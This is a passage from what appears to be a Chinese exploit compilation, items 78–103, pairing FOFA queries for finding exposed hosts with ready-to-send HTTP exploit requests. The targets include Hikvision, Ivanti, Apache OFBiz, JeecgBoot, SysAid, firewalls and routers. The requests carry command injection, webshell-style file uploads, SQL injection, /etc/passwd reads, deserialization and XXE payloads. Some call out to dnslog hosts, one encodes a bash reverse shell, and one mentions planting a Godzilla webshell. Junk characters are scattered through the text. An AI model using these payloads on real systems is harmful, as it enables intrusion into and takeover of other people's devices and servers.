$ b5 X. ^, s$ J  Rhello1234567
, m& t& l* C$ g7 N, a/ W------------398jnjVTTlDVXHlE7yYnfwBoix
1 _! p% `! w7 Q7 |5 gContent-Disposition: form-data; name="Upload"
; [! |' w% [, p7 Q- {
Submit Query
- y2 i" D& }( r1 z; a------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
# ]  d$ ]2 G& ]2 ?# t9 iFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
5 A' ~" F, z" q( H9 Z0 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 M  D% k4 c* H, B# h* |& iContent-Length: 336
Accept-Encoding: gzip
' r  \2 i3 i0 Y6 O. ^  Q" ~Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
: x, c  ]' @, b: HContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
0 c1 f7 I" P  N* e' \+ }
% N& d& y( t+ z, w2 [8 h/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
6 j; C$ w% T- D% |6 K/ Z
1 Q' I+ F: ^8 I- v9 @, ]- @: a
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
, s+ V  F# z6 f2 S7 |
6 d# o( \- r4 S7 ?' H! J
79. BYTEVALUE 百为流控路由器远程命令执行
8 D0 q* r8 m$ E' S+ bFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
* r; K9 Z% L3 @+ EHost:IP
, I4 M* m) R/ A2 p1 \3 p& u& y) EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 i3 _7 m6 g4 d' ?1 {7 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
4 r! F; ?) W0 W& J; v6 M/ [( vUpgrade-Insecure-Requests: 1
) ]2 n0 u7 y  ~4 ]8 \& {% E6 t' v

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
6 \1 X2 [5 v) s0 P+ P$ NFOFA：app="速达软件-公司产品"
; E9 J- _* [: ]$ h' s3 wPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
5 S0 s$ Q+ ^# _& ?" a4 S6 YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
) E2 S/ p4 |, a3 d7 @" L, yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 a4 D0 l& a& e& f$ nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ d8 w2 _4 z( g. mConnection: close
# {& S* Y  g! X1 g; {Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

, A% z5 S- ?$ ^0 C; h( W5 G0 c( l<% out.print("oessqeonylzaf");%>

% g$ d; J. p8 k
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. o7 @! o; k: l+ y" t2 U1 ?Connection: close
4 m6 C+ M' n. n' n5 L+ g3 i2 [% EAccept-Encoding: gzip


4 H* r- B: {- _1 j81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
( S7 ~4 T5 H! P9 {) z0 B5 PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
( ]% H( S$ G0 |7 U8 N
/ E& l9 D4 f. ^: C- e8 @1 H+ O
; G0 L: ^: j: ?/ [% |0 A82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
% E' O+ c; Z9 UFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
9 m6 g' T; M- s5 @% AHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
5 ]1 ~2 u! k+ f) CAccept-Encoding: gzip
5 _" J+ A% r# s$ |' S; k# I+ D7 bConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
6 \) ~9 t# |) V3 _9 Z
z1=1&z2="|id;"&z3=bhost
# r6 o" M6 u. d. `/ n; H
* _1 z" X2 D4 a+ r& F' v3 |& \+ r& W, T
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

& V) r. g) T9 y; q1 R
- G6 d2 k6 X& G7 w/ k" o2 uPOST /jmreport/testConnection HTTP/1.1
( c2 V- x5 x# D* bHost: x.x.x.x
4 b# q" `8 ^( d4 S7 ~0 \. vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
7 Q1 [" z! U5 }$ M* P* vAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
, m1 X; f2 H) ~% ^% lContent-Type: application/json
1 [$ O$ Y2 q- @
PAYLOAD

; d; X+ D2 ~- @4 n  V  t84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
* C: W& K4 M- H! L! H. L" UFOFA：title=="JeecgBoot 企业级低代码平台"
4 m& z- d4 b( k  n  z" B% o
& g' ~$ N4 J; o8 J

  p. U- Z2 o. e/ ?- gPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
' G) ]5 L# D( p0 s) j+ B$ i3 ^Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
* _9 ?2 u& L: Y' h7 O1 `( a/ K, Z( Q* SContent-Length: 156
( Z! c4 {$ o: I/ H: GAccept: */*
Connection: close
9 {& t8 U/ \/ i+ s7 W" z3 |Content-Type: application/json
/ W- S# U  J) D7 T% @' `# iAccept-Encoding: gzip

/ }" d2 @/ u# A5 w- s& D5 q7 [{
% j: s0 ~. D* B2 \( j "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
" O  I* R& b$ O  "type": "0"
4 v4 r! w; C3 A9 Y4 P' K1 J) \9 W}


85. SysAid On-premise< 23.3.36远程代码执行
- }' [% ]& M% g8 FCVE-2023-47246
& }) h' ^- X7 [FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
' J5 e. v3 D) LHost: x.x.x.x
% [8 D: c7 @7 W, d$ X: I3 ^5 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
* o8 g. B6 m5 \1 F, x+ iAccept-Encoding: gzip

PAYLOAD

9 H6 O. n) I+ O6 R* h% H& k2 \& [回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
" [4 |2 P: ~* M% k9 p9 I( tPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
, C- n3 w& a8 F  y  H5 X6 o* i' fUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
6 H7 y% m: ~7 s$ w  X* n% I0 C1 _8 z) vContent-Length: 44
Accept: */*
Accept-Encoding: gzip
2 y1 k5 @1 }: TAccept-Language: en
. N5 U, g# {" eContent-Type: application/x-www-form-urlencoded
( |0 h' V4 ~! r2 N: O5 G
) P9 O8 Q1 C# x5 b# Jhost=%0acat${IFS}/etc/passwd%0a&command=ping


- I8 A) G/ f2 s+ N87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
" K9 X+ e8 |' T+ g; I8 Y" P* Q4 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. y% y, Q/ v% [Content-Length: 198
3 f; D! F8 ?* H) W4 F( _Accept-Encoding: gzip
1 K5 w. H9 v# X' f9 }Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
* b: @: M' H4 _6 M; m) s
# R" Q, L; X: m* n2 ^) D0 y--qqobiandqgawlxodfiisporjwravxtvd
1 ^& t% g3 h# y' |. kContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


) s) J' X; \7 [' ?, O/jfhatuwe.php
/ I+ f# T3 h6 w5 Y# O% d
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: S0 ^; H3 O/ k( Y) ^7 E6 F0 jFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
+ i* u8 z  _" B1 s' d% qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 M$ O4 h1 m* ~1 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& l3 \. E+ d! `9 ~1 UAccept-Encoding: gzip, deflate
6 T* p% `8 ]3 z0 P$ g% q7 gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 u  i/ S; j7 D+ ?, I8 ~0 {2 O5 O
/ w: O& O2 w* ~" [
. Q6 N6 U( B6 ~! V4 E7 U1 i6 R3 g/astdfkhl.php
" C. {6 L. n) `* q7 @2 O
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
, W" U" d2 N& aPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
" b1 r" I. @  c: A4 \- d  dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% ]  E* t9 k. |( j: v/ ~6 m; `! @9 SConnection: close
Content-Length: 41
! x- e7 e0 T8 i. m% uContent-Type: application/x-www-form-urlencoded
" x' C( K  w- C  k. CAccept-Encoding: gzip

6 ~% @5 C$ |/ _4 H" Z" {4 l3 aoption=2&GUID=-1'+union+select+111*222--+

6 V9 G- f' b8 B5 \
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
2 G- g$ O9 b# n' c- d; ]FOFA：icon_hash="-1830859634"
% l) w! c9 Y5 n% w' q( lPOST /php/ping.php HTTP/1.1
, V( [$ N5 Q2 U% c- M& `) u7 rHost: x.x.x.x
7 ]1 [! E4 v$ }8 h' xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
$ r( a! f: o( B8 N3 y1 UContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
+ [3 ]6 @" B" L! aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( w# L& {" N+ xConnection: close
Content-Type: application/x-www-form-urlencoded
2 g3 u- r1 n/ B+ O$ M/ \X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
  T2 _6 j- o: a4 F+ TFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% F+ F0 m$ d1 H' Z# P5 b0 tAccept-Encoding: gzip, deflate
+ m0 S1 ^) h1 O1 W3 e. q1 QAccept: */*
8 \* U* Z3 N6 i7 m% NConnection: keep-alive
3 E' \8 `' v3 V% H/ g5 l
7 q( {' g, L- j$ }9 E, c

, ]+ M5 g4 a9 k; Y92. 海康威视运行管理中心session命令执行
6 ^* D% \/ u; GFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 }: \7 |- b$ @+ qPOST /center/api/session HTTP/1.1
% I: i% k9 P8 \, g" Y, I' l. W0 e' XHost:
. L' Z1 H6 B- GAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
  i  m( s8 H" Y# |3 ]Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
% K0 v0 C  \" m5 N
- P* @1 k6 j) y4 a7 CPAYLOAD
( L8 }. @7 f6 l1 f3 n) @  w7 l

+ c3 \( I- E' w) f+ A& P9 `& ^5 v93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
+ f" @: t3 v) f$ BPOST /?g=app_av_import_save HTTP/1.1
9 B5 M' k( D# W, VHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ _4 c6 r( L1 u/ w( _. \- o) z# b
------WebKitFormBoundarykcbkgdfx
+ B# D# x, f  Y& y* m" wContent-Disposition: form-data; name="MAX_FILE_SIZE"
0 m1 c4 ]5 `; Y1 _$ f& L- c5 @
10000000
------WebKitFormBoundarykcbkgdfx
) U6 ], u# `- _  ]Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
3 Q/ s# u2 R% U7 n7 c------WebKitFormBoundarykcbkgdfx
2 z, B; q  S# o" P6 q4 fContent-Disposition: form-data; name="submit_post"

obj_app_upfile
3 V1 f, N- F, w; ^/ c& {* n0 T# U------WebKitFormBoundarykcbkgdfx
! b' e, N* S' d2 dContent-Disposition: form-data; name="__hash__"

$ ~1 R  K4 q: w; \  q/ b6 r; l0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
- v- E: d# G" n0 e: \$ X

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
; W5 }5 b2 s( K6 Z. K# U7 tUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


, Y2 Q% Y6 `+ U& J) {) L! m94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
+ B" \' ?7 s$ n7 N# U* VFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
% O8 W6 V: W9 B* ^) H8 P" EPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
  b5 V* R6 }" K& L" J* J1 C, nContent-Disposition: form-data; name="MAX_FILE_SIZE"
/ ]: R7 M# C0 p2 Q: J! v1 ?
10000000
+ Q; Y3 i" V5 P7 l------WebKitFormBoundarybqvzqvmt
% I- n/ b: r7 R1 WContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
8 r- b; {8 W$ Q( U------WebKitFormBoundarybqvzqvmt
, _6 |, g( I' z2 [& Q+ bContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
$ a, g) b/ z) ?3 |& b* S% S1 ]; l
0 i8 W$ }5 \. f0b9d6b1ab7479ab69d9f71b05e0e9445
% n& a5 s# A: C, |------WebKitFormBoundarybqvzqvmt--
6 Y4 I+ P" w( Q( R, P& |
" }/ X/ I, A* h2 V" _4 Q( w

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
2 V# ~( G6 b+ N$ f' d* MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

! x4 Y, p* X- x9 C' x# Z
- ~0 l2 o! {# }! b+ ]
7 E' K) d, B- C' A+ e9 Z95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
6 G- g7 |+ m/ U- D1 J, iCVE-2023-49070
: [/ _# P% ~4 n) R9 pFOFA：app="Apache_OFBiz"
6 O0 m+ i" Z( i- @+ w) sPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
+ k' U6 _5 }! a% z# G- c% b/ aHost: x.x.x.x
$ m8 l/ B: G! y) \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
7 ~3 a7 I  P  o& x+ PAccept-Encoding: gzip

" N2 c" ]' l. a<?xml version="1.0"?>
$ t* J# q* N. u6 N! }<methodCall>
* a( i0 q1 P( H; R( f   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
: t- n( [- }! a% f    <params>
      <param>
      <value>
        <struct>
       <member>
6 `/ Y4 `- i2 u+ I8 A          <name>test</name>
6 Y+ I* n1 t, g( m& X$ ^+ d          <value>
. E5 |2 T2 ~, I2 E" ~      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
$ ?% }8 C9 h  p; ~        </member>
+ s3 W% D: C7 k0 C2 k4 U& w9 `5 ]2 S      </struct>
      </value>
    </param>
    </params>
</methodCall>

! j' _0 ?$ C& |( n% P, ?
8 b. d' [4 P7 d) [用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


! |/ Q1 Z; A& Q1 {将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
1 L7 D: r2 e% t& ^6 ?1 i0 LHost: 192.168.40.130:8443
  H6 n0 b$ S9 B3 o: s$ r2 CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
; W2 l/ [5 t& ~* w; KContent-Length: 889
Content-Type: application/xml
; m5 r- o- k3 b, e! @% N1 G1 B3 ?Accept-Encoding: gzip
" Q1 r+ d* H6 n  S4 R8 q
PAYLOAD
! T: o* o/ z1 K- E7 Z) D7 N
& s5 V9 N( e6 V$ w  R96. Apache OFBiz  18.12.11 groovy 远程代码执行
# r$ o% W& {1 K% r9 t$ mFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
6 t/ e3 j. {: e  S; _$ LHost: localhost:8443
+ r# W6 m  A0 v7 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
( {' U& W% H8 _7 }" j4 N
4 S* F  T8 _1 h' `4 |! y0 hgroovyProgram=throw+new+Exception('id'.execute().text);

8 B4 N" a) a6 H
反弹shell
在kali上启动一个监听
nc -lvp 7777
% u, f* x! a! Y
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
, \: n1 R2 q4 f; B# h7 ]1 F( MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
' J' Y" I4 p7 ?2 j& m( WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- s3 m! f. D8 @$ U$ L/ GContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
9 F7 L4 B' Z5 z; s6 f/ ~/ B  S
/ x5 y! R& z9 @& t; `97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
8 `$ j/ ^' \9 h0 g  c0 @3 T; @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
$ u3 g( z( T5 w! @2 BConnection: close
Cookie: rememberMe=PAYLOAD
  I% J( f6 ~5 \  g9 jX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
5 k& O# @$ [! x, {$ R  q

$ \2 b3 j/ }0 T# w' `" p0 i- e98. SpiderFlow爬虫平台远程命令执行
4 T8 h2 O8 _0 Y  s8 N8 `1 K6 k1 aCVE-2024-0195
( P# w+ `- q8 N+ }' j1 F  W# V3 l7 OFOFA：app="SpiderFlow"
: q: Q1 ?6 F# [POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 H  Y5 O' R5 x# w/ n, p+ DConnection: close
6 z- o% q% j9 pContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
1 s) C: e( O( z0 {6 R$ p. l
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

  |2 N* @% H* F/ ]- ]2 g/ }
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
6 @0 B, ~4 r; B& q' b; kFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
; E! {/ f# v4 ~5 Z7 FContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
' q7 [2 w0 b8 u. ^+ ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
& I. t5 N+ M7 `7 Y6 JX-Requested-With: XMLHttpRequest
4 P  I5 m* f( ?6 F5 a% O' @2 D( u5 Y
& o" \4 L; _1 W% K2 @%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
8 F# t2 `; p5 i) [  l* FCVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
( d" g6 }" ]: {8 Q' c9 O& ]$ @5 _: nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
% b! O. r4 y8 r, i9 ?
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

0 x, g3 `+ P4 A  _5 s& \$ B2ayyhRXiAsKXL8olvF5s4qqyI2O
% Z! G: A, i4 s& U/ V5 j------WebKitFormBoundarygcflwtei--
5 ~( O% t. K* M8 `6 L2 O6 w

+ l6 _" t( C3 l( ~) M8 y5 Q9 b1 t/ m101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 q: c& Y% d/ X# |. |; Q8 WAccept-Encoding: gzip

9 P! X: P" n6 j# X9 H
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
. ^& S, T4 ]% @$ y8 `
& l1 v2 b/ K! F/ U. d) Y* w& M<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

2 P) c. H# ~+ A8 [* Y2 [4 x2 e103. Ivanti Pulse Connect Secure VPN XXE
* _6 Q& [3 r8 ?- e* G/ f/ w: e( LCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
+ P# ?3 r* a% N( Z5 p6 [5 w+ B$ Y# MPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
$ B( M' p9 J4 MHost: 192.168.40.130:111
5 C. I7 k" K: `. a3 zUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
, [2 L' C9 a0 o# f# e  V9 ~Content-Length: 204
: I5 d3 C' q/ M" p  {* {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
$ p  f  [6 g. w0 \
) X- E* b- X1 E( Z2 J$ D9 pSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
# G& X9 o) ?  z
